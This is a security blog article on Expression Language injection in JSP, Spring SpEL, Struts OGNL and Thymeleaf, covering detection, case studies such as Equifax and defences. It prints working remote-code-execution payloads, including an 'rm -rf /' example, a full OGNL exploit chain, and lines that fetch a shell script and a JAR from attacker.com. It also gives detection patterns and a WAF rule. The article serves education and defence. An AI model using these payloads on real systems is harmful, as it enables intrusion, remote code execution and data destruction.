Security
9 min read
77 views

Expression Language Injection: When ${} Becomes Your Worst Nightmare 💀

IT
InstaTunnel Team
Published by our engineering team
Expression Language Injection: When ${} Becomes Your Worst Nightmare 💀

Expression Language Injection: When ${} Becomes Your Worst Nightmare 💀

Introduction: The Silent Assassin of Web Applications

Imagine a seemingly innocent input field that asks for your name. You type John, submit the form, and see “Welcome, John!” displayed on your screen. Simple enough, right? But what if someone enters ${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("rm -rf /")} instead? In the wrong hands, that innocent input field just became a weapon capable of complete system compromise.

Expression Language (EL) Injection is one of the most devastating yet underestimated vulnerabilities in modern web applications. This attack vector allows adversaries to execute arbitrary code on servers by exploiting how template engines evaluate dynamic expressions. Unlike traditional injection attacks that require complex payload construction, EL injection often needs just a few characters wrapped in ${} or #{} delimiters to achieve Remote Code Execution (RCE).

What is Expression Language Injection?

Expression Language Injection occurs when user-controlled input is evaluated as an expression by server-side template engines without proper validation or sanitization. When an expression language application is vulnerable to expression language injection, an attacker sends crafted code to the application as input, either in the query string or in a form object, and the code is compiled at runtime.

Understanding Expression Languages

Expression Languages were designed to simplify application development by providing an easy way to access and manipulate data in web applications. They allow developers to:

  • Access JavaBeans components and their properties
  • Invoke public methods and static functions
  • Perform arithmetic and logical operations
  • Retrieve data from various scopes (request, session, application)

Common frameworks utilizing EL include:

  • JavaServer Pages (JSP) - Uses ${} and #{}
  • Spring Framework - Spring Expression Language (SpEL)
  • Thymeleaf - Natural templating engine
  • Apache Struts - Object-Graph Navigation Language (OGNL)
  • Java Unified Expression Language - Standard for Java EE

The Anatomy of an EL Expression

Standard EL expressions follow predictable patterns:

${variable}              # Access a variable
${object.property}       # Access object properties
${object.method()}       # Invoke methods
${"string".length()}     # String operations
${1 + 1}                 # Arithmetic operations

The danger emerges when these expressions process untrusted user input without validation.

The Technical Foundation: How EL Injection Works

The Vulnerability Chain

EL injection exploits a fundamental flaw in how applications handle dynamic content:

  1. User Input Reception: Application receives data through forms, URL parameters, headers, or cookies
  2. Template Processing: Input is incorporated into an EL expression
  3. Expression Evaluation: The EL interpreter evaluates the complete expression
  4. Code Execution: Malicious code within the expression executes on the server

Consider this vulnerable JSP code:

<jsp:useBean id="data" class="com.example.DataBean" scope="request"/>
<jsp:setProperty name="data" property="userInput" value="${param.input}"/>
<p>Welcome, ${data.userInput}!</p>

If a user submits input=${7*7}, the application evaluates the expression and returns 49 instead of the literal string ${7*7}. This confirmation of expression evaluation indicates vulnerability.

Detection Techniques

To confirm it’s an EL injection, payloads like ${"dfd".replace("d","x")} can be used, with an expected output of ‘xfx’ where the supplied string ‘dfd’ is converted into ‘xfx’ by replacing ’d’ with ‘x’.

Common Detection Payloads:

${7*7}                    # Expected: 49
${{7*7}}                  # Expected: [49]
${"test".length()}        # Expected: 4
${"a".concat("b")}        # Expected: ab
${T(java.lang.Runtime)}   # Spring: Class reference

Black-box testers should inject these payloads into various injection points:

  • URL parameters
  • Form fields
  • HTTP headers
  • Cookie values
  • File upload metadata
  • JSON/XML data fields

Attack Vectors: From Information Disclosure to RCE

Phase 1: Information Gathering

Attackers typically begin by extracting sensitive information:

${applicationScope}                           # Application variables
${sessionScope}                               # Session data
${pageContext.request.getHeader("Cookie")}    # Headers
${pageContext.servletContext.serverInfo}      # Server information

Phase 2: Escalating to Remote Code Execution

Getting complete exploitation of EL Injection and achieving fully functional RCE requires invoking the runtime.exec() Class to execute system commands.

Method 1: Direct Runtime Invocation

${''.getClass().forName('java.lang.Runtime')
    .getMethod('getRuntime')
    .invoke(null)
    .exec('whoami')}

Method 2: ProcessBuilder Exploitation

${request.setAttribute("c","".getClass()
    .forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/c")}
${request.getAttribute("c").add("calc.exe")}
${"".getClass().forName("java.lang.ProcessBuilder")
    .getConstructor(java.util.List.class)
    .newInstance(request.getAttribute("c")).start()}

Method 3: ScriptEngineManager

${facesContext.getExternalContext().setResponseHeader("output",
    "".getClass().forName("javax.script.ScriptEngineManager")
    .newInstance().getEngineByName("JavaScript")
    .eval("var x=new java.lang.ProcessBuilder; 
          x.command(\"wget\",\"http://attacker.com/shell.sh\"); 
          org.apache.commons.io.IOUtils.toString(x.start().getInputStream())"))}

Method 4: URLClassLoader for Remote Code

${request.getClass().getClassLoader().loadClass("java.net.URLClassLoader")
    .getConstructor(java.net.URL[].class)
    .newInstance(new java.net.URL[]
        {new java.net.URL("http://attacker.com/malicious.jar")})}

Framework-Specific Vulnerabilities

JSP Expression Language

JavaServer Pages are particularly susceptible when using the <jsp:setProperty> tag or Expression Language directly in templates:

<!-- Vulnerable Pattern -->
<c:out value="${param.userInput}" />

<!-- Attack Example -->
?userInput=${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke(null).exec("calc")}

Spring Framework and SpEL

In versions of Spring 3.0.5 and earlier, EL tags could be evaluated twice, exposing the application to EL injection (CVE-2011-2730).

Spring Expression Language provides powerful features that become dangerous with untrusted input:

// Vulnerable Spring Controller
@RequestMapping("/welcome")
public String welcome(@RequestParam String name, Model model) {
    ExpressionParser parser = new SpelExpressionParser();
    Expression exp = parser.parseExpression(name); // VULNERABLE
    model.addAttribute("greeting", exp.getValue());
    return "welcome";
}

// Attack: ?name=T(java.lang.Runtime).getRuntime().exec('whoami')

Apache Struts and OGNL

The Equifax breach, which affected 159 million people’s data, was caused by Object-Graph Navigation Language (OGNL) EL injection, with Equifax agreeing to pay up to $425 million to help consumers recover.

OGNL injection in Struts allows similar exploitation:

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)
.(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
.(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
.(#ognlUtil.getExcludedPackageNames().clear())
.(#ognlUtil.getExcludedClasses().clear())
.(#context.setMemberAccess(#dm))))
.(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))
.(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))
.(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true))
.(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

Thymeleaf Template Engine

Thymeleaf uses expressions in attributes and can be exploited when templates process user input:

<!-- Vulnerable Template -->
<div th:text="${userInput}"></div>

<!-- Attack -->
${T(java.lang.Runtime).getRuntime().exec('calc')}

Real-World Case Studies

CVE-2024-51466: IBM Cognos Analytics

A researcher discovered an endpoint in IBM Cognos application which accepts user input and passes it into EL expression causing RCE, chained with another vulnerability to bypass authentication, technically resulting in an unauthenticated RCE.

The vulnerability was exploited using the payload:

${''.getClass().forName('java.lang.Runtime')
    .getMethod('getRuntime').invoke(null).exec('command')}

The response returned java.lang.ProcessImpl@b639b23d, confirming process creation and successful code execution.

CVE-2024-12798: Logback Core Vulnerability

An ACE vulnerability in QOS.CH logback-core up to and including version 1.5.12 allows attackers to execute arbitrary code using the JaninoEventEvaluator extension by compromising an existing logback configuration file or by injecting a malicious environment variable before program execution.

The Equifax Breach (2017)

The most notorious EL injection attack exploited Apache Struts CVE-2017-5638, an OGNL injection vulnerability. Attackers gained access to:

  • Personal information of 147 million Americans
  • 15.2 million British citizens’ records
  • 19,000 Canadian citizens’ data

The attack vector was surprisingly simple - a malicious Content-Type header containing OGNL expressions that executed commands on the server.

Defense Strategies: Building Resilient Applications

Input Validation and Sanitization

Avoid putting user data into an expression interpreter if possible. Otherwise, validate and/or encode the data to ensure it is not evaluated as expression language.

Implement Strict Validation:

public boolean isValidInput(String input) {
    // Reject EL delimiters
    Pattern pattern = Pattern.compile(".*[\\$\\#\\{\\}].*");
    Matcher matcher = pattern.matcher(input);
    
    if (matcher.matches()) {
        throw new SecurityException("Detected potential EL injection");
    }
    
    // Whitelist approach - only allow alphanumeric
    return input.matches("[a-zA-Z0-9]+");
}

Disable Expression Evaluation

For Spring Framework:

In the case of Spring Framework, disable the double resolution functionality in versions 3.0.6 and above by placing configuration in the application web.xml:

<context-param>
    <description>Spring Expression Language Support</description>
    <param-name>springJspExpressionSupport</param-name>
    <param-value>false</param-value>
</context-param>

Content Security Policies

Implement robust output encoding:

public String escapeEL(String input) {
    return input
        .replace("$", "\\$")
        .replace("{", "\\{")
        .replace("}", "\\}")
        .replace("#", "\\#");
}

Framework-Specific Protections

JSP: - Use JSTL tags with escapeXml="true" - Avoid direct EL evaluation in custom tags - Implement Content Security Policy headers

Spring: - Keep Spring Framework updated (critical patches in 5.2.20+ and 5.3.18+) - Use @PreAuthorize for method-level security - Avoid parsing user input as SpEL expressions

Thymeleaf: - Use preprocessed expressions __${...}__ cautiously - Enable strict mode in configuration - Validate all user inputs before template processing

Runtime Application Self-Protection (RASP)

Modern RASP solutions can detect and block EL injection attempts by:

  • Monitoring expression evaluation patterns
  • Analyzing runtime behavior for anomalies
  • Blocking dangerous method invocations (Runtime.exec, ProcessBuilder)
  • Implementing virtual patching for zero-day vulnerabilities

Security Testing

White-box Testing: - Code review focusing on EL usage - Static Application Security Testing (SAST) tools - Dependency vulnerability scanning

Black-box Testing: - Fuzzing with EL payloads - Dynamic Application Security Testing (DAST) - Penetration testing with custom payloads

Detection and Monitoring

Log Analysis

Monitor for suspicious patterns:

${.*}
#{.*}
T(java.lang.Runtime)
getClass().forName
ProcessBuilder
ScriptEngineManager
URLClassLoader

Web Application Firewalls (WAF)

Configure WAF rules to detect:

# ModSecurity Example
SecRule ARGS "@rx \$\{.*\}" \
    "id:100001,\
    phase:2,\
    deny,\
    log,\
    msg:'Potential EL Injection Attack'"

Runtime Detection

Implement runtime hooks to monitor:

  • Reflection API calls from user contexts
  • Process creation attempts
  • Class loading from untrusted sources
  • Network connections from template evaluation

The Future of EL Injection

Emerging Threats

As frameworks evolve, new attack vectors emerge:

  1. Polyglot Payloads: Combining multiple injection types
  2. Encoded Attacks: Base64, Unicode, and hex-encoded payloads
  3. Time-based Blind Exploitation: Detecting vulnerabilities through timing attacks
  4. Chain Exploitation: Combining EL injection with other vulnerabilities

Security Best Practices

  1. Principle of Least Privilege: Run applications with minimal permissions
  2. Defense in Depth: Implement multiple security layers
  3. Regular Updates: Keep frameworks and dependencies current
  4. Security Training: Educate developers about injection risks
  5. Secure Coding Standards: Establish and enforce coding guidelines

Statistics and Impact

The average app/API received 4,110 probes in October 2024, with viable EL injection attacks averaging about 2.5 probes and 1.4 viable attacks per month.

While these numbers might seem low, the severity is extreme. Each successful EL injection can result in:

  • Complete server compromise
  • Data breach affecting millions
  • Financial losses in the hundreds of millions
  • Regulatory penalties and legal consequences
  • Irreparable reputation damage

Conclusion: Vigilance is Mandatory

Expression Language Injection represents one of the most critical vulnerabilities in modern web applications. The innocuous appearance of ${} delimiters masks their potential for catastrophic damage. From the Equifax breach to recent CVEs like IBM Cognos, EL injection continues to haunt organizations worldwide.

The good news? EL injection is entirely preventable through:

  • Rigorous input validation
  • Proper output encoding
  • Framework security configurations
  • Regular security testing
  • Developer education

Remember: every input field is a potential attack vector. Every template expression processing user data is a risk. Every application using expression languages requires careful security consideration.

The nightmare scenario isn’t that EL injection exists—it’s that developers continue to overlook it. Don’t let ${} become your worst nightmare. Treat user input as hostile, validate ruthlessly, and build security into every layer of your application.

Key Takeaways

  1. Never trust user input - All external data is potentially malicious
  2. Avoid evaluating user input as expressions - Use static templates whenever possible
  3. Implement defense in depth - Layer multiple security controls
  4. Stay updated - Apply security patches promptly
  5. Test continuously - Regular security assessments are essential
  6. Monitor actively - Detect attacks before they cause damage
  7. Educate teams - Security is everyone’s responsibility

Expression Language Injection isn’t just a technical vulnerability—it’s a critical security crisis waiting to happen. The question isn’t if your application will be tested by attackers, but when. Make sure you’re ready.


About the Author: This article covers Expression Language Injection vulnerabilities based on current security research and recent CVE disclosures through 2025. For the latest security updates, always consult official framework documentation and security advisories.

References: OWASP, CVE databases, security research papers, and vulnerability disclosure reports from 2024-2025.

Related Topics

#expression language injection, EL injection, EL RCE, JSP EL injection, Spring EL injection, Thymeleaf EL injection, JBoss EL vulnerability, EL template injection, template expression injection, ${} injection, remote code execution via EL, EL payloads, OGNL injection, MVEL injection, Java EL injection, JSP expression injection, Spring SpEL injection, Struts2 EL vulnerability, EL bypass, RCE in Java frameworks, template injection attack, expression evaluation vulnerability, arbitrary code execution EL, input field EL injection, user input evaluation, web template injection, Java server pages vulnerability, Spring expression language exploit, JUEL injection, dynamic evaluation attack, deserialization via EL, insecure expression parsing, EL sandbox escape, EL injection detection, EL injection fuzzing, EL injection payloads GitHub, EL injection prevention, secure template rendering, disable EL evaluation, Spring security expression hardening, expression resolver exploitation, EL injection scanner, web application RCE, EL injection tutorial, EL injection CVE, OWASP template injection, bug bounty EL injection, EL injection in 2025, web templating vulnerability, Java security misconfiguration, code injection prevention, expression parsing vulnerability, input sanitization for EL, expression validation best practices, EL injection mitigation, JSP RCE prevention, expression injection defense, EL injection examples

Share this article

More InstaTunnel Insights

Discover more tutorials, tips, and updates to help you build better with localhost tunneling.

Browse All Articles